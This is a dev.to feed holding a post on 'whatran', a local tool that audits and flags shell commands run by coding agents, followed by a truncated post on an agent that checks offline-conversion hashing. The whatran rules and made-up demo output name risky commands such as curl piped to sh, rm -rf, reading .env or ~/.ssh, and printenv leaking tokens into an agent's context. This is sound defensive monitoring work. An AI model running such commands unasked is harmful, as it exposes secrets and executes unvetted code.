&lt;p&gt;I built this for my best friend, Bruno Moreira (&lt;a href="https://github.com/brunorodmoreira" rel="noopener noreferrer"&gt;@brunorodmoreira&lt;/a&gt; on GitHub).&lt;/p&gt;

&lt;p&gt;Bruno lives in his terminal and works with coding agents, and his public repos show both. His dotfiles are zsh, tmux, starship and atuin, the shell history tool. He keeps a fork of herdr, a runtime for coding agents. And he wrote a script so two Claude Desktop accounts can run side by side on one Mac.&lt;/p&gt;

&lt;p&gt;The commands those agents run are recorded, and nobody reads them. atuin can now capture what an agent runs (&lt;code&gt;atuin hook install claude-code&lt;/code&gt;), tagged with the agent's name, and then it hides those entries from search by default so they don't clutter your own history. Claude Code keeps every command in its session files too, as thousands of lines of JSON. The agent half of the history is written down and never opened.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;whatran&lt;/strong&gt; is the note at the end of the day. It reads that history and answers three questions:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Where did the agents work? Commands per agent and project, how many failed, how many were stopped before they ran.&lt;/li&gt;
&lt;li&gt;What deserves a second look? &lt;code&gt;curl | sh&lt;/code&gt;, &lt;code&gt;rm -rf&lt;/code&gt; on something that isn't a cache, &lt;code&gt;git push --force&lt;/code&gt;, reading &lt;code&gt;.env&lt;/code&gt; or &lt;code&gt;~/.ssh&lt;/code&gt;, &lt;code&gt;sudo&lt;/code&gt;, a line appended to &lt;code&gt;.zshrc&lt;/code&gt;, new packages arriving with install scripts, here or on a server over &lt;code&gt;ssh&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;What was the agent trying to do? A short paragraph in plain words, written by Gemma 4 on his machine.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Demo
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ffrxsqkzuxmni83hrsqfx.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ffrxsqkzuxmni83hrsqfx.gif" alt="whatran on a made-up working day: two agents, eight flags, and a note from Gemma 4 running locally" width="600" height="338"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The demo runs on a made-up day, so no one's real history is published. Here is the output, trimmed; the full run is in &lt;a href="https://github.com/vinimabreu/whatran/blob/main/examples/demo-output.txt" rel="noopener noreferrer"&gt;&lt;code&gt;examples/demo-output.txt&lt;/code&gt;&lt;/a&gt;. Gemma 4 wrote the note in about 11 seconds on my laptop:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ whatran --db demo/history.db --since 2d
whatran · Wed 30 Sep 17:18 to Fri 02 Oct 17:18
29 commands: 7 yours, 22 by agents (claude-code 17, codex 5).
4 agent commands failed.

Where the agents worked
  claude-code  ~/code/checkout-api  13 commands, 2 failed
  claude-code  ~/code/blog  4 commands, 1 failed
  codex        ~/code/dotfiles  5 commands, 1 failed

Worth a look (8)
  [F1] 09:14 claude-code in ~/code/checkout-api
       cat .env
       high · reads a file that holds keys or tokens; whatever it printed is now in the agent's conversation
  ...
  [F7] 12:01 claude-code in ~/code/blog
       curl -fsSL https://example-cli.dev/install.sh | sh
       high · downloads a script and runs it in the same breath, before anyone reads it
  [F8] 12:04 claude-code in ~/code/blog
       printenv
       medium · prints every environment variable, tokens included, into the agent's context

In plain words (gemma4:12b, running on this machine)
...
In blog, the agent ran `curl -fsSL https://example-cli.dev/install.sh | sh` [F7] to install an
image optimizer, but the subsequent optimization command failed. It then ran `printenv` [F8] to
find the CLI configuration, which dumped all environment variables into the context.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;That last paragraph is what a list of flags can't give you. The flags say &lt;code&gt;curl | sh&lt;/code&gt; and &lt;code&gt;printenv&lt;/code&gt; happened. The note puts them in one story: the agent piped an installer into a shell, the next command failed, and the agent printed the whole environment looking for a config file. The facts behind the note say that failed command exited with 127, the shell's code for a command it can't find, so the install never worked.&lt;/p&gt;
&lt;h2&gt;
  
  
  Code
&lt;/h2&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://assets.dev.to/assets/github-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/vinimabreu" rel="noopener noreferrer"&gt;
        vinimabreu
      &lt;/a&gt; / &lt;a href="https://github.com/vinimabreu/whatran" rel="noopener noreferrer"&gt;
        whatran
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      What your coding agents ran in your terminal today: atuin and Claude Code history, flagged by fixed rules, explained by Gemma 4 on your own machine.
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;&lt;div class="markdown-heading"&gt;
&lt;h1 class="heading-element"&gt;whatran&lt;/h1&gt;
&lt;/div&gt;

&lt;p&gt;What your coding agents ran in your terminal today, explained by a model that runs on your own machine.&lt;/p&gt;

&lt;p&gt;&lt;a rel="noopener noreferrer" href="https://github.com/vinimabreu/whatran/assets/whatran.gif"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fraw.githubusercontent.com%2Fvinimabreu%2Fwhatran%2FHEAD%2Fassets%2Fwhatran.gif" alt="whatran on a made-up working day: two agents, eight flags, and a note from Gemma 4 running locally"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Coding agents run shell commands all day. Claude Code keeps every one of them in its session files, and since 2026 atuin can record them too (&lt;code&gt;atuin hook install claude-code&lt;/code&gt;), tagged with the agent that ran them. Then nobody reads any of it: atuin hides agent commands from its search by default, so they don't clutter your history, and the session files are thousands of lines of JSON.&lt;/p&gt;

&lt;p&gt;whatran reads that history once a day and answers three questions:&lt;/p&gt;


&lt;ol&gt;

&lt;li&gt;

&lt;strong&gt;Where did the agents work?&lt;/strong&gt; Commands per agent and project, how many failed, how many were stopped before they ran.&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;What deserves a second look?&lt;/strong&gt; &lt;code&gt;curl | sh&lt;/code&gt;, &lt;code&gt;rm -rf&lt;/code&gt; on something that isn't a cache, &lt;code&gt;git push --force&lt;/code&gt;, reading &lt;code&gt;.env&lt;/code&gt; or &lt;code&gt;~/.ssh&lt;/code&gt;, &lt;code&gt;sudo&lt;/code&gt;, writing…&lt;/li&gt;

&lt;/ol&gt;&lt;/div&gt;
&lt;br&gt;
  &lt;/div&gt;
&lt;br&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/vinimabreu/whatran" rel="noopener noreferrer"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;br&gt;
&lt;/div&gt;
&lt;br&gt;


&lt;h2&gt;
  
  
  How I Built It
&lt;/h2&gt;

&lt;p&gt;whatran is Python with no dependencies of its own: &lt;code&gt;sqlite3&lt;/code&gt; and &lt;code&gt;urllib&lt;/code&gt; from the standard library. The model, &lt;a href="https://ollama.com/library/gemma4" rel="noopener noreferrer"&gt;Gemma 4 12B&lt;/a&gt;, is served by Ollama on &lt;code&gt;127.0.0.1&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Two sources.&lt;/strong&gt; The first is atuin's SQLite database, opened read-only. I took the schema from atuin's own migrations, and the rule for "was this an agent?" from its source: &lt;code&gt;author_kind&lt;/code&gt; is 2 when the integration said so, and when it didn't, the author name has to be a known agent and must not just be the username it fell back to. That last part is atuin's exception for a person whose username happens to be &lt;code&gt;pi&lt;/code&gt;, and whatran keeps it. The second source is Claude Code's session files, which need no setup at all. Each &lt;code&gt;Bash&lt;/code&gt; call there has the command and a short &lt;code&gt;description&lt;/code&gt; of why, which becomes the intent, and the result says how it ended. "Exit code 1" means it ran and failed. A denied or blocked call never ran, so it is counted apart, never as a failure. A resumed session copies its earlier calls into a new file, so calls are counted once by their id.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Code decides, the model explains.&lt;/strong&gt; Counting, grouping and flagging are plain Python. Each rule is a regular expression with a reason a person can read, so the same command gets the same answer every day. Gemma 4 gets the facts as JSON: the counts, the projects, and each flag with its intent and the two commands before and after it in the same session. It writes the paragraph and nothing else.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The note is checked before anyone sees it.&lt;/strong&gt; Every command the note quotes in backticks must appear in the facts. Every number must be one of the counts or exit codes the facts state, and every clock time one of the flags' times, so "2026 commands" or "50%" doesn't slip through just because those digits appear in a date or a time. Every &lt;code&gt;[F3]&lt;/code&gt; it cites must exist, and every flag must be cited. If the note fails, whatran asks once more with the problems listed. If it fails again, the note is not shown and the report lists what failed. The counts and flags are still printed, because they never depended on the model.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;My first real run was wrong in an instructive way.&lt;/strong&gt; Before handing it to Bruno, I ran it on one real working day of mine: 548 commands from my agents between midnight and mid-afternoon. It raised 64 flags, and 21 were plain wrong. Nine were ordinary file transfers. Five were test strings inside quoted Python. Four were inside heredoc bodies I had fed to Python or Node, so they never ran as shell. Three were &lt;code&gt;rm -rf&lt;/code&gt; on caches.&lt;/p&gt;

&lt;p&gt;41 of the other 43 had run on servers, inside an &lt;code&gt;ssh&lt;/code&gt; command: &lt;code&gt;sudo&lt;/code&gt; calls, and one crontab change. The first version reported them as if they had happened on my laptop: as local &lt;code&gt;sudo&lt;/code&gt;, as a local crontab change, or as plain file transfers.&lt;/p&gt;

&lt;p&gt;The rules were matching text, so I taught them to read commands closer to the way the shell does. They now look at one simple command at a time, so a pattern can't run from one command into the next. A heredoc body only counts when it is fed to a shell. A quoted string with spaces in it (a commit message, a JSON payload, a test string) is set aside, unless it is the script of &lt;code&gt;bash -c&lt;/code&gt;, &lt;code&gt;bash -lc&lt;/code&gt; or &lt;code&gt;eval&lt;/code&gt;. &lt;code&gt;rm -rf&lt;/code&gt; on caches and build output passes, and &lt;code&gt;rm -rf node_modules &amp;amp;&amp;amp; rm -rf migrations&lt;/code&gt; does not. A script sent over &lt;code&gt;ssh&lt;/code&gt;, quoted, unquoted or as a heredoc, goes through the same rules, and its flags say "on another machine". That also caught seven remote &lt;code&gt;sudo&lt;/code&gt; calls the first version had missed. Grouped by agent, project and rule, the same day now reads as four entries.&lt;/p&gt;

&lt;p&gt;One of those four was useful the first time I read it. The note pointed out that the second of two commands sent to stop a process on a server had come back with exit 255, and told me to check whether the process was still running. I had missed that.&lt;/p&gt;

&lt;p&gt;Before publishing, I ran an adversarial review over the code and this post, with one job: break it. The first round found a chained &lt;code&gt;rm -rf&lt;/code&gt; the rules let through, a test that failed in India's time zone, a proxy setting that could have carried the prompt off the machine, and a number check that accepted any digit found anywhere in the facts. The second round found that &lt;code&gt;.venv/bin/pip install&lt;/code&gt; slipped past every rule because the program was called by its path. All of it is fixed, and each case is now a test.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Tokens are masked before anything is printed or sent to the model&lt;/strong&gt;, in the commands and in the agents' own descriptions: GitHub, OpenAI, Anthropic, Stripe, Hugging Face, Slack, GitLab and npm tokens, AWS keys, bearer and API-key headers, &lt;code&gt;*_TOKEN=&lt;/code&gt; values, password flags, and passwords in connection URLs. It all runs on the laptop anyway, but a note on screen shouldn't repeat a token. A secret in a format that isn't on the list is shown as typed, and the README says so.&lt;/p&gt;

&lt;p&gt;On an M5 Max with 36 GB, Gemma 4 12B writes about 58 tokens a second. The demo note takes about 11 seconds the first time and 5 once the model is warm; on my real days so far it took between 25 and 49 seconds. There are 318 tests, and none of them needs the model. They cover every rule against commands that should and shouldn't trip it, atuin's agent detection case by case, both readers against files written the way atuin and Claude Code write them, and the note check against notes that invent commands, numbers, times and flags.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why Does Open Innovation Matter?
&lt;/h2&gt;

&lt;p&gt;Shell history is the most sensitive text file most developers have. Tokens typed inline, database URLs with passwords, client names in paths, all in one place. Sending it to a hosted model to get a summary would create the exact leak this tool exists to show. With an open-weight model on his own laptop, Bruno's history stays there. whatran only talks to Ollama on loopback unless he passes a flag saying otherwise, and it ignores proxy settings so the prompt can't take a detour.&lt;/p&gt;

&lt;p&gt;The agents themselves usually run on hosted models. When an agent runs &lt;code&gt;cat .env&lt;/code&gt;, those values are already in its conversation, and whatran can't undo that. What it can do is not make a second copy somewhere else to tell him about it.&lt;/p&gt;

&lt;p&gt;Open also made it possible to build at all. atuin is open source, so I could read how it stores history and how it decides who ran a command, and match its rule exactly instead of guessing. A closed history tool would have left me reverse-engineering a database.&lt;/p&gt;

&lt;p&gt;And it is his to change. It costs nothing to run every day, it works with no network, &lt;code&gt;--model&lt;/code&gt; swaps Gemma for anything else Ollama serves, and the rules are one readable file. If Bruno decides &lt;code&gt;npx&lt;/code&gt; is fine on his machine, he takes it out of one pattern.&lt;/p&gt;

&lt;h2&gt;
  
  
  Prize Categories
&lt;/h2&gt;

&lt;p&gt;Best Use of Gemma: Gemma 4 12B runs locally through Ollama and writes every note, under the check described above.&lt;/p&gt;

</description>
      <category>devchallenge</category>
      <category>weekendchallenge</category>
      <category>hf26challenge</category>
      <category>opensource</category>
    </item>
    <item>
      <title>One email, two correct hashes: an agent that checks conversion uploads against the docs and the code</title>
      <dc:creator>Vinicius Pereira</dc:creator>
      <pubDate>Wed, 30 Sep 2026 15:33:19 +0000</pubDate>
      <link>https://dev.to/vinimabreu/one-email-two-correct-hashes-an-agent-that-checks-conversion-uploads-against-the-docs-and-the-code-3nfn</link>
      <guid>https://dev.to/vinimabreu/one-email-two-correct-hashes-an-agent-that-checks-conversion-uploads-against-the-docs-and-the-code-3nfn</guid>
      <description>&lt;p&gt;&lt;em&gt;This is a submission for the &lt;a href="https://dev.to/challenges/sanity-2026-09-16"&gt;Sanity Challenge, Path One: Ship an Agent That Queries Real Content&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What I Built
&lt;/h2&gt;

&lt;p&gt;When a CRM sends closed deals back to Google and Meta as offline conversions, every email, phone and name goes out as a SHA-256 hash. The hash either matches the one the platform computed or it does not, and a mismatch is silent: the upload succeeds, the conversion lands, and it is never attributed. The campaign just looks worse than it is.&lt;/p&gt;

&lt;p&gt;The two platforms do not normalize the same way, so one shared function is wrong for at least one of them:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Input&lt;/th&gt;
&lt;th&gt;Google (Data Manager API)&lt;/th&gt;
&lt;th&gt;Meta (Conversions API)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Jane.Doe+promo@GMAIL.com&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;janedoe@gmail.com&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;jane.doe+promo@gmail.com&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;(650) 555-1212&lt;/code&gt;, US&lt;/td&gt;
&lt;td&gt;&lt;code&gt;+16505551212&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;16505551212&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;O'Brien&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;o'brien&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;obrien&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ZIP &lt;code&gt;94035-1234&lt;/code&gt;, US&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;94035-1234&lt;/code&gt;, in clear&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;94035&lt;/code&gt;, hashed&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Each column is right for its own destination.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;conversion-preflight&lt;/strong&gt; is an agent a developer asks before an upload. It answers rules questions with citations, checks a CRM export row by row for both platforms, and audits the implementation against the current documentation. It is built on one rule: three sources, three jobs, never blurred.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A &lt;strong&gt;Sanity knowledge base&lt;/strong&gt; says what each platform documents.&lt;/li&gt;
&lt;li&gt;A &lt;strong&gt;rule table&lt;/strong&gt; says what the code does, one entry per platform and field, published to a &lt;strong&gt;Sanity dataset&lt;/strong&gt; as structured documents.&lt;/li&gt;
&lt;li&gt;A small &lt;strong&gt;MCP server&lt;/strong&gt; of tested code is the only place a normalized value or a digest is produced.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;When those disagree, the agent says so and quotes both sides instead of picking one.&lt;/p&gt;

&lt;h2&gt;
  
  
  Demo
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ftjhuxntqjudrpz8xzqtf.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ftjhuxntqjudrpz8xzqtf.gif" alt="Demo: one email with two correct hashes, the three sources, a CRM export checked, the audit, and the evaluation" width="600" height="338"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;A real run over eight synthetic CRM rows, trimmed to three of its findings:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ python -m agent.run --csv examples/leads.csv --region US "Check these rows before tonight's upload to Google and Meta."
  -&amp;gt; preflight_file examples/leads.csv (6 columns mapped, id=Lead ID, region=US)
  -&amp;gt; initial_context
  -&amp;gt; groq_query *[_type == "implementationProfile"][0]{globalDivergences}
  -&amp;gt; knowledge_base_read ['normalization_and_hashing/google', 'normalization_and_hashing/meta']
  -&amp;gt; groq_query *[_type == "normalizationRule" &amp;amp;&amp;amp; field in ["phone","country","first_name",...

## L-1006
- Google and Meta, phone `+1 (415) 555 0142 ext 7`: needs_review because it contains a letter (U+0065).
  - Google says every character after `+` must be a digit [normalization_and_hashing/google].
  - Meta says to remove symbols and letters [normalization_and_hashing/meta].
  - Refusing letters instead of stripping them is a declared divergence for both platforms
    [rule: google/phone] [rule: meta/phone].
  - Fix at source: store the extension in a separate field and send only the number.
- Google, first_name `Mrs. Carol`: warning. Google says to omit prefixes such as `Mrs.` from
  `given_name` [normalization_and_hashing/google]. The code doesn't remove them, which is declared
  [rule: google/first_name]. Fix at source: split the title into its own field.
## L-1008
- Google and Meta, email: invalid because it contains U+200B. ...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Every citation says which source it came from: &lt;code&gt;[normalization_and_hashing/...]&lt;/code&gt; is the knowledge base, what the platform documents; &lt;code&gt;[rule: ...]&lt;/code&gt; is the dataset, what the code declares.&lt;/p&gt;

&lt;p&gt;Digests never pass through the model's text. The agent sees the header and three rows and sends back a column mapping; &lt;code&gt;preflight_file&lt;/code&gt; reads every row, writes the upload file keyed by lead id, and returns the totals and the flagged cells. The first version had the model copy every cell into the tool call, which an adversarial review measured at 561,701 characters of tool output for 100 rows. The published run returned 3,216 for the eight. The same review caught a worse thing in an earlier demo: for a phone the tool had refused, the model wrote the "corrected" number itself. The prompt now says to describe the fix at the source and never to compose the value.&lt;/p&gt;
&lt;h2&gt;
  
  
  Code
&lt;/h2&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://assets.dev.to/assets/github-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/vinimabreu" rel="noopener noreferrer"&gt;
        vinimabreu
      &lt;/a&gt; / &lt;a href="https://github.com/vinimabreu/conversion-preflight" rel="noopener noreferrer"&gt;
        conversion-preflight
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      Preflight agent for Google and Meta offline conversion uploads: rules from a Sanity knowledge base, declared rules from a Sanity dataset, digests from tested code.
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;&lt;div class="markdown-heading"&gt;
&lt;h1 class="heading-element"&gt;conversion-preflight&lt;/h1&gt;
&lt;/div&gt;

&lt;p&gt;An agent that checks customer data before an offline conversion upload to Google and Meta. What the platforms document comes from a Sanity knowledge base built from their own pages. What the code declares about its own rules comes from structured documents in a Sanity dataset, queried with GROQ. Every normalized value and SHA-256 digest comes from tested code. Where those disagree, the agent says so instead of picking one.&lt;/p&gt;

&lt;p&gt;&lt;a rel="noopener noreferrer" href="https://github.com/vinimabreu/conversion-preflight/assets/conversion-preflight.gif"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fraw.githubusercontent.com%2Fvinimabreu%2Fconversion-preflight%2FHEAD%2Fassets%2Fconversion-preflight.gif" alt="One email with two correct hashes, the three sources, a CRM export checked, the audit, and the evaluation"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;A real run over eight synthetic CRM rows, trimmed to three of its findings (the full transcript is in &lt;code&gt;examples/runs/&lt;/code&gt;):&lt;/p&gt;

&lt;div class="snippet-clipboard-content notranslate position-relative overflow-auto"&gt;
&lt;pre class="notranslate"&gt;&lt;code&gt;$ python -m agent.run --csv examples/leads.csv --region US "Check these rows before tonight's upload to Google and Meta."
  -&amp;gt; preflight_file examples/leads.csv (6 columns mapped, id=Lead ID, region=US)
  -&amp;gt; initial_context
  -&amp;gt; groq_query *[_type == "implementationProfile"][0]{globalDivergences}
  -&amp;gt; knowledge_base_read ['normalization_and_hashing/google', 'normalization_and_hashing/meta']
  -&amp;gt; groq_query *[_type == "normalizationRule" &amp;amp;&amp;amp; field in ["phone","country","first_name","last_name","em
[6 turns, 14.3s, in 6+31541 cached, out 1895 tokens; transcript runs/...;&lt;/code&gt;&lt;/pre&gt;…&lt;/div&gt;&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/vinimabreu/conversion-preflight" rel="noopener noreferrer"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;The agent is Claude Code run headless (&lt;code&gt;claude -p&lt;/code&gt;) with every built-in tool switched off and only three MCP servers allowed: the knowledge base endpoint, the dataset endpoint, and the local &lt;code&gt;preflight&lt;/code&gt; server. The whole prompt is one file, &lt;code&gt;agent/system.md&lt;/code&gt;. It runs on my existing plan, so nothing here is billed per call.&lt;/p&gt;

&lt;p&gt;202 tests. The suite checks every worked example with an input that the platforms publish (including Meta's own digests) against the code, pins every declared divergence to the code's actual behaviour, and exercises the MCP server over real stdio.&lt;/p&gt;

&lt;h2&gt;
  
  
  How I Used Sanity
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The knowledge base, and what building it taught me
&lt;/h3&gt;

&lt;p&gt;I pointed a Sanity Context knowledge base at three sources: Google's Data Manager "Format user data" guide, Google Ads' "Manage offline conversions" page, and Meta's customer information parameters. Meta's page renders client side and the crawl came back empty, so I extracted its text and uploaded it as a file source, with the URL and retrieval date at the top.&lt;/p&gt;

&lt;p&gt;The purpose text does most of the steering. Mine says who asks (engineers about to upload), what leads (which endpoint, how each platform wants each field, where the two differ), what stays out (bidding, pricing, reporting), and, after the first builds, that each platform's rules apply to that platform only and that a rule's qualifiers and the pages' worked examples are kept as written.&lt;/p&gt;

&lt;p&gt;Four things happened on the way that shaped the agent:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;The first crawl indexed one page in fifteen languages.&lt;/strong&gt; The "15 documents" from the Data Manager site were the formatting page plus fourteen &lt;code&gt;?hl=&lt;/code&gt; translations, and a later check pulled nineteen translations of the Google Ads page. The first entry I read cited a Hebrew page. "Ignore query parameters" did not stop it; I removed the translations in the crawled-pages view.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Entries are summaries, and summaries drop words.&lt;/strong&gt; Google says to trim "leading, trailing and intermediate whitespace" in an email address. One build kept "leading/trailing" and lost "intermediate". Another wrote "5-digit equivalents only" for non-US postal codes, which no page says, and the agent then told me to cut the Brazilian CEP &lt;code&gt;24020-005&lt;/code&gt; to &lt;code&gt;24020&lt;/code&gt;. A single-entry rebuild once wrote "Base64 encoding is not used", true of the Google Ads samples and false for the Data Manager API.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Rebuilds are not deterministic, and instructions are what stick.&lt;/strong&gt; A detail fixed in one build could vanish in the next. An instruction is honored on every build; when I saved the one for "intermediate", Sanity checked it against the entries itself and listed the two pages that contradicted it before rebuilding them.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Issues found a bug in Google's own sample code.&lt;/strong&gt; A build opened a conflict between two entries about the Gmail plus-suffix. One side came from Google's Python sample, so I read it: &lt;code&gt;normalize_and_hash_email_address&lt;/code&gt; removes the &lt;code&gt;.&lt;/code&gt; and &lt;code&gt;+&lt;/code&gt; characters from the local part for every domain and keeps the text after the &lt;code&gt;+&lt;/code&gt;. The page's own rule, and its Java sample, apply that only to &lt;code&gt;gmail.com&lt;/code&gt; and &lt;code&gt;googlemail.com&lt;/code&gt; and remove everything from the &lt;code&gt;+&lt;/code&gt; on. Code copied from the Python sample turns &lt;code&gt;first.last@company.com&lt;/code&gt; into &lt;code&gt;firstlast@company.com&lt;/code&gt;. I resolved the issue with the documented rule; two other issues were differences between the platforms, not contradictions, and I dismissed them.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  The dataset: the code's rules as structured content
&lt;/h3&gt;

&lt;p&gt;The implementation's rule table lives in the &lt;code&gt;production&lt;/code&gt; dataset as &lt;code&gt;normalizationRule&lt;/code&gt; documents, one per platform and field, plus an &lt;code&gt;implementationProfile&lt;/code&gt; that references them. Each rule carries what the code does in plain words, the platform's words when the code was written (verbatim, with the URL and retrieval date), the knowledge base entry that should agree today (&lt;code&gt;kbEntry&lt;/code&gt;), the platforms' own worked examples, and the differences the code makes on purpose. A sync command publishes it from the Python module the tests pin, and a &lt;code&gt;--check&lt;/code&gt; mode fails when the dataset and the code drift apart. The schema is a small Studio, deployed at &lt;a href="https://conversion-preflight.sanity.studio/" rel="noopener noreferrer"&gt;conversion-preflight.sanity.studio&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;A second Context MCP endpoint serves that dataset, filtered to those two types, and the agent reads it with &lt;code&gt;groq_query&lt;/code&gt;. This is where the two halves of Sanity Context earned their separate places. The knowledge base is the right tool for prose that gets rewritten into entries; the dataset is the right tool for the thing that must come back exactly as written, because a query returns the quote, not a summary of it. Two things I learned the hard way: the endpoint answers "Only datasets with deployed Studio applications are supported" until a Studio with the schema is deployed, and a document id with a dot in it (&lt;code&gt;normalizationRule.google.email&lt;/code&gt;) is a private path in Sanity, so the ids use hyphens.&lt;/p&gt;

&lt;h3&gt;
  
  
  What the agent does with it
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Rules questions:&lt;/strong&gt; &lt;code&gt;initial_context&lt;/code&gt; once, then &lt;code&gt;knowledge_base_read&lt;/code&gt; on the entries it needs, and every rule it states carries the entry path, like &lt;code&gt;[normalization_and_hashing/meta]&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Batch checks:&lt;/strong&gt; it maps CRM columns to fields, calls &lt;code&gt;preflight_file&lt;/code&gt; once, and explains each refusal and each warning with the documented rule behind it. Before calling a result a conflict with the docs, it checks the rule's declared divergences.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Audits:&lt;/strong&gt; for every rule it compares the knowledge base entry (the documentation today), the quote the code was written against, and the implementation, and sorts what it finds: code and documentation disagree, entry and quote disagree, declared, or agrees. The audit is what flagged the lost "intermediate", the invented "5-digit equivalents", the "Base64 is not used" regression and Meta's self-contradicting UK example. It also found behaviour in my own code that nobody had written down: letters in a phone number refused rather than stripped, a seven-digit E.164 number refused, spaces inside a Meta first name removed. All of it is declared now. The Python sample came from Sanity's Issues, the translations from the crawled-pages view, and two wrong digests the tool reported as fine (&lt;code&gt;+44 (0)20 ...&lt;/code&gt; and a US ZIP+4 with no country) from an adversarial review of the repository.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Graded by code
&lt;/h3&gt;

&lt;p&gt;Fourteen cases, graded without a model. Expected digests come from the tested normaliser and, in three cases, from digests Meta prints on its own page. The digest rule is about provenance: any 64-character hex string in an answer must be expected or must appear in a tool result from the same run.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
